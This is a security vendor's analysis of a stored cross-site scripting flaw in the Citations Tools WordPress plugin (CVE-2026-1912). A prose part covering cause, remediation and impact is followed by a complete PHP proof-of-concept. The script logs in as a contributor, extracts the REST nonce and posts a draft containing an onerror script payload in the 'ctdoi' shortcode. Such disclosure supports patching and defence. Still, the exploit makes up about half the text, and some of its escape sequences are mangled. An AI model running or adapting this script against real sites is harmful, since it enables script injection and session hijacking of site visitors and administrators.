Atomic Edge analysis of CVE-2026-1912 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Citations Tools WordPress plugin, versions up to and including 0.3.2. The vulnerability exists in the ‘ctdoi’ shortcode’s ‘code’ attribute. Attackers with Contributor-level access or higher can inject malicious scripts that execute when a user views a compromised page or post. The CVSS score of 6.4 (Medium) reflects the requirement for authentication, but the stored nature and potential for session hijacking increase its severity in a WordPress context.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers a shortcode handler for ‘ctdoi’ that directly echoes or unsafely outputs the ‘code’ attribute value without proper escaping. This is a classic CWE-79 violation. The analysis infers the lack of proper escaping functions like `esc_attr()` for attribute context or `wp_kses()` for sanitization. Without a code diff, this conclusion is based on the CWE classification and the standard WordPress shortcode implementation pattern.
Exploitation requires an authenticated user with at least the ‘contributor’ role. The attacker would create or edit a post, embedding the vulnerable shortcode with a malicious payload in the ‘code’ attribute. For example: [ctdoi code=”
“] The payload is stored in the post content. It executes in the browser of any user who views that post. The attack vector is the WordPress post editor; no direct endpoint like admin-ajax.php is required, as the exploit leverages the core shortcode processing system.
Remediation requires implementing proper output escaping. The plugin should use the `esc_attr()` function when outputting the ‘code’ attribute value within an HTML attribute context. Alternatively, the plugin could implement input sanitization using `sanitize_text_field()` or a more restrictive allow-list when registering the shortcode attribute. A secure shortcode callback must treat all user-supplied attributes as untrusted and escape them appropriately for their output context.
The impact of successful exploitation is client-side code execution in the context of the victim’s browser session. This can lead to session hijacking, administrative actions performed by a logged-in administrator, content defacement, or redirection to malicious sites. While the vulnerability requires Contributor access, this role is commonly granted in multi-author sites, and the stored payload can affect all site visitors, amplifying the risk.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1912 - Citations tools <= 0.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'code' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-1912.
* This script simulates an authenticated Contributor user adding a malicious shortcode to a post.
* Assumptions:
* 1. The target site has the Citations Tools plugin (<=0.3.2) installed.
* 2. Valid Contributor credentials are available.
* 3. The WordPress REST API is enabled (default).
* 4. The attacker aims to inject a stored XSS payload via the 'ctdoi' shortcode.
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Payload: Classic XSS to demonstrate execution via the 'code' attribute.
// The shortcode will be embedded in a new post.
$malicious_shortcode = '[ctdoi code="<img src="x" onerror="alert('Atomic Edge XSS via CVE-2026-1912')">"]';
$post_title = 'Test Post with Citation';
$post_content = 'This post contains a citation shortcode. ' . $malicious_shortcode;
// Step 1: Authenticate via the WordPress REST API to obtain a nonce (JWT not used in default WP REST).
// We will use the standard cookie-based authentication by logging in via wp-login.php first to get session cookies.
// This is a more reliable method for Contributor-level access.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$login_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code != 200) {
die("Login failed. HTTP Code: $http_coden");
}
// Step 2: Use the REST API to create a new post as the authenticated user.
// First, get the REST API nonce (wp_rest) from the admin page.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true
]);
$admin_page = curl_exec($ch);
preg_match('/"apiFetch.createNonce("wp_rest"))\s*=\s*"([a-f0-9]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
// Alternative pattern for nonce
preg_match('/"wpApiSettings":{"nonce":"([a-f0-9]+)"/', $admin_page, $matches);
}
$rest_nonce = $matches[1] ?? '';
if (empty($rest_nonce)) {
die("Could not extract REST API nonce. Authentication may have failed or page structure differs.n");
}
// Step 3: Create the post via REST API.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode([
'title' => $post_title,
'content' => $post_content,
'status' => 'draft' // Contributor can only create drafts.
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WP-Nonce: ' . $rest_nonce
]
]);
$api_response = curl_exec($ch);
$api_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($api_http_code == 201) {
$response_data = json_decode($api_response, true);
$post_id = $response_data['id'] ?? 'unknown';
$post_link = $response_data['link'] ?? $target_url . '/?p=' . $post_id;
echo "[+] Exploit successful. Draft post created with ID: $post_idn";
echo "[+] Post URL (requires authentication to view draft): $post_linkn";
echo "[+] The malicious shortcode is stored. When an authenticated user views this post, the XSS payload will execute.n";
} else {
echo "[-] Post creation failed. HTTP Code: $api_http_coden";
echo "Response: $api_responsen";
}
// Cleanup
@unlink('cookies.txt');
?>